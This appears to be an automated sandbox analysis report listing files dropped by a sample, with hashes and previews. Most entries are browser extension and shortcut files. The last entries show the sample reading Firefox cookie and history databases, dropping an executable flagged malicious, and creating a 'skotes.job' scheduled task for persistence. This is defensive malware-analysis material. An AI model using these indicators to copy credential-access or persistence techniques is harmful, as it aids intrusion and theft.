Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 04:23:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9769937538669162
Encrypted:	false
SSDEEP:	48:8pAd7Tjr/HwidAKZdA19ehwiZUklqehJy+3:8S7WCy
MD5:	1E248CE5C99FBDCB8F4CA637A103E79F
SHA1:	D9BDCD4C1D7CA1239E914FA24ABA21CB88C6DFFF
SHA-256:	8C36EBD243EAC70219ED41D1B139C9A353349E979E2CC67E7746BB2256A2E0CD
SHA-512:	F730541FE5FDAD043F42622D406A48E884D97E3C6C77BDF325EBEFB94DDC920AA212275654AA4E30A4925BD4601D5DF00BDF6C5CD47B61D900D86CF4646221C2
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....`h..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 04:23:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.992314135888849
Encrypted:	false
SSDEEP:	48:8gAd7Tjr/HwidAKZdA1weh/iZUkAQkqehyy+2:8B709Qjy
MD5:	B4E215055EEC823AD4F0279408CC9C1E
SHA1:	1FB714518310BE951465366C19E48DAE3A029237
SHA-256:	D1FC94E6C44FF45B5B95E05916A4171DE97973F2827977062B3C154E3351F310
SHA-512:	13604688D71B8E6B1F25250EA88B97DB6FC39598960B1CA26720F1B63ADF99D202807C3C9B6EB41CADDA4BA30B3B454126628A9B1C4B9A7C6FE63C2E5775F659
Malicious:	false
Preview:	L..................F.@.. ...$+.,....!u\..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005081872161535
Encrypted:	false
SSDEEP:	48:8x8d7TjrsHwidAKZdA14tseh7sFiZUkmgqeh7sky+BX:8x87pnmy
MD5:	B7FC0FAA31047477AE56AC42E44104F8
SHA1:	5A7BE9A2CF949FC558ECC5BE4B5A4F1CB3F412B1
SHA-256:	246D398043F3DCA4629CD00408D833CEDE80350DB8E7B1B307698E0692407033
SHA-512:	07BF2638D39B79EAF4C5D3564BE189E900C3F571B8B70C09FB6CB11D0058E88C68051054493FDEDC812A877F222396F318ED6F15FEEA148F726276E82DA500E4
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 04:23:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9922102093632788
Encrypted:	false
SSDEEP:	48:8FAd7Tjr/HwidAKZdA1vehDiZUkwqeh+y+R:8G7f8y
MD5:	5278F1526DABE414529BEF279D5A3CD7
SHA1:	7299A45FE8A8D1055005F9CCADCCAA254E4F98BE
SHA-256:	BFCB60C0195BE110377E670AC6BF453C1F2C6225D2B8BD76070CE1D7FFAD421F
SHA-512:	1EBA570FEB07B47B88AEDECCADD4061E4A1675BDE752C522E34F2A975C2B4A6BC27A29FC0CBF4FCEADE7B4AE25723FE7D1A522A40468F4A7FB3649C58E8A61FD
Malicious:	false
Preview:	L..................F.@.. ...$+.,......W..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 04:23:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.979114980099002
Encrypted:	false
SSDEEP:	48:8XAd7Tjr/HwidAKZdA1hehBiZUk1W1qeh4y+C:8Q7f9Yy
MD5:	109AA74FF2786EBA78726081114A19F9
SHA1:	012E5F0D121752DE6F581612B963994713359444
SHA-256:	DE6F009708BCC09C4B2C44A8AEDE67D7067D2C7DF7F78FD976A9FE99AA5D03F3
SHA-512:	5610454C92C8885BAFBC9979E857CB62F95181B26F6E0575B42F4B1153D8B1E572B151F42FC20926867C3DFEEC67EC9820FD1F87419BA31F9B1CB3720C2B2C39
Malicious:	false
Preview:	L..................F.@.. ...$+.,....,.c..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 12 04:23:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9902494077235757
Encrypted:	false
SSDEEP:	48:8XAd7Tjr/HwidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8Q7XT/TbxWOvTbmy7T
MD5:	63597315752041893367FE91A60D33BC
SHA1:	2E69CFCC7DC50216B92FDF23D0497FFF21EB937F
SHA-256:	9D1BD38BB77E10C6EC8FE246EBADDCF8E38509EF63985A2093DF78902BF971F5
SHA-512:	D771C277C415CF276E571E113B7A70E67B74EA5AB656033C96625B9C5690E22D5D82F693C0933F58E5DE5EDB4D16D6D4CB844F2B7F3AF681CC9956C7756B6DC4
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....aN..4..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IlY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VlY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VlY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VlY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VlY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHCFBFBAEBK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3194368
Entropy (8bit):	6.6651178740243795
Encrypted:	false
SSDEEP:	98304:TH++twcidEyczTO/OQG6PHT+e8YB5+QqViOQMz1hcg:TvwcihvvH9qVvr
MD5:	4EBDDC2F0F80354C7D3FF3D8AB59F97D
SHA1:	AD56198F2CD24912EF529D0AF2A6083F2D1F55E6
SHA-256:	85501A3D5ED2F918336AFFD99EB1D15953609B2DBC16AA8F0C5B254FBD09686D
SHA-512:	8651E29161DE7D6178F8196230DDA3E618591D24D89F7B8981039FD656B680C98A2575D4D7724D43DCD34F78C71F47F62A72B1730A52AFDCDF60392E372CAC8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....C.1...@.................................W...k.............................0.............................`.0..................................................... . ............................@....rsrc...............................@....idata ............................@...vosxtpoy..........................@...nqcvauwq......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHCFBFBAEBK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3753938574525586
Encrypted:	false
SSDEEP:	6:i/k2lVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBpllCut0:GruQ1CGAFifXVBLdt0
MD5:	D457106732F6359AA3CD69B62D665FC7
SHA1:	3CE68EDC8D37FE5DFC932F4D873175CD60BA09F1
SHA-256:	7DED0EDC70F37966DF427DA313BF090835A36E46B41DDF745DEF719AC66CF8CC
SHA-512:	DBE8CDFAEB10A265B9562BC226D873D0030D08E2F7A291C4E27340F5D5DA01CD253928740490C78424684B4AC948D6EF4A4FE3200D6C61885D68C09FB6C82C1E
Malicious:	false
Preview:	.....(.m]0}D.3.zA.AYF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4234)
Category:	downloaded
Size (bytes):	4239
Entropy (8bit):	5.842910102722143
Encrypted:	false
SSDEEP:	96:EVWili1dRCWG4uU0w5LmwOOJucdTT9nzyTAzWffffffL:EUQC6WGx2LmwZkQnzHw
MD5:	E41D868C97AFC96AEA6AF14B34FC4E5E
SHA1:	C5E0665E32C0B94F63EC01D0D1DC24ADDA3105D5
SHA-256:	C8507AB53F226A550B9521E2273C370C1209B4D12E4A454C7E187E38BA54E3B3
